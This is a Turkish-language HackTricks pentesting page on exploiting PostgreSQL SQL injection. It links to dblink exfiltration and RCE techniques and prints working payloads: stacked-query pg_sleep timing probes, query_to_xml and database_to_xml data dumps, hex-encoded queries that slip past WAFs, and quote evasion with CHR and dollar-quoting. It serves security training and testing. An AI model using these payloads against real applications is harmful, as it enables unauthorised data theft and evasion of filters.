80 lines
4.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PostgreSQL injection
{{#include ../../../banners/hacktricks-training.md}}
---
**Bu sayfa, bir PostgreSQL veritabanında bulunan bir SQL enjeksiyonunu istismar etmenize yardımcı olabilecek farklı hileleri açıklamayı ve** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **bulabileceğiniz hileleri tamamlamayı amaçlamaktadır.**
## Ağ Etkileşimi - Yetki Yükseltme, Port Tarayıcı, NTLM zorluk yanıtı ifşası ve Exfiltrasyon
**PostgreSQL modülü `dblink`**, diğer PostgreSQL örneklerine bağlanma ve TCP bağlantıları gerçekleştirme yetenekleri sunar. Bu özellikler, `COPY FROM` işlevselliği ile birleştirildiğinde, yetki yükseltme, port tarama ve NTLM zorluk yanıtı yakalama gibi eylemleri mümkün kılar. Bu saldırıları gerçekleştirmek için detaylı yöntemler için [bu saldırıları nasıl gerçekleştireceğinizi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) kontrol edin.
### **Dblink ve büyük nesneler kullanarak exfiltrasyon örneği**
Bir CTF örneği olarak **büyük nesnelerin içine veri yüklemeyi ve ardından `dblink_connect` fonksiyonunun kullanıcı adı içindeki büyük nesnelerin içeriğini exfiltrate etmeyi** [**bu örneği okuyarak**](dblink-lo_import-data-exfiltration.md) görebilirsiniz.
## PostgreSQL Saldırıları: Okuma/yazma, RCE, yetki yükseltme
PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl yükselteceğinizi kontrol edin:
{{#ref}}
../../../network-services-pentesting/pentesting-postgresql.md
{{#endref}}
## WAF atlatma
### PostgreSQL Dize işlevleri
Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir.**\
[**Bu sayfada**](https://www.postgresqltutorial.com/postgresql-string-functions/) **bazı yararlı Dize işlevlerini bulabilirsiniz.**
### Yığın Sorgular
PostgreSQL'in yığın sorguları desteklediğini unutmayın, ancak birçok uygulama, yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yığın sorguları zaman enjeksiyonu yoluyla hala kötüye kullanabilirsiniz:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### XML hileleri
**query_to_xml**
Bu fonksiyon, tüm verileri XML formatında tek bir dosyada döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
Bu fonksiyon, tüm veritabanını yalnızca 1 satırda XML formatında dökecektir (veritabanı çok büyükse dikkatli olun, çünkü bu durum DoS saldırısına veya hatta kendi istemcinize neden olabilir):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Eğer **sorguları** **bir dize içinde** (örneğin **`query_to_xml`** fonksiyonunu kullanarak) çalıştırabiliyorsanız. **Dizeyi hex olarak geçmek ve bu şekilde filtreleri atlatmak için convert_from kullanabilirsiniz:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### Yasaklı alıntılar
Eğer yüklemeniz için alıntı kullanamıyorsanız, bunu `CHR` ile aşabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Ya da `$` ile. Bu sorgular aynı sonuçları döndürür:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
{{#include ../../../banners/hacktricks-training.md}}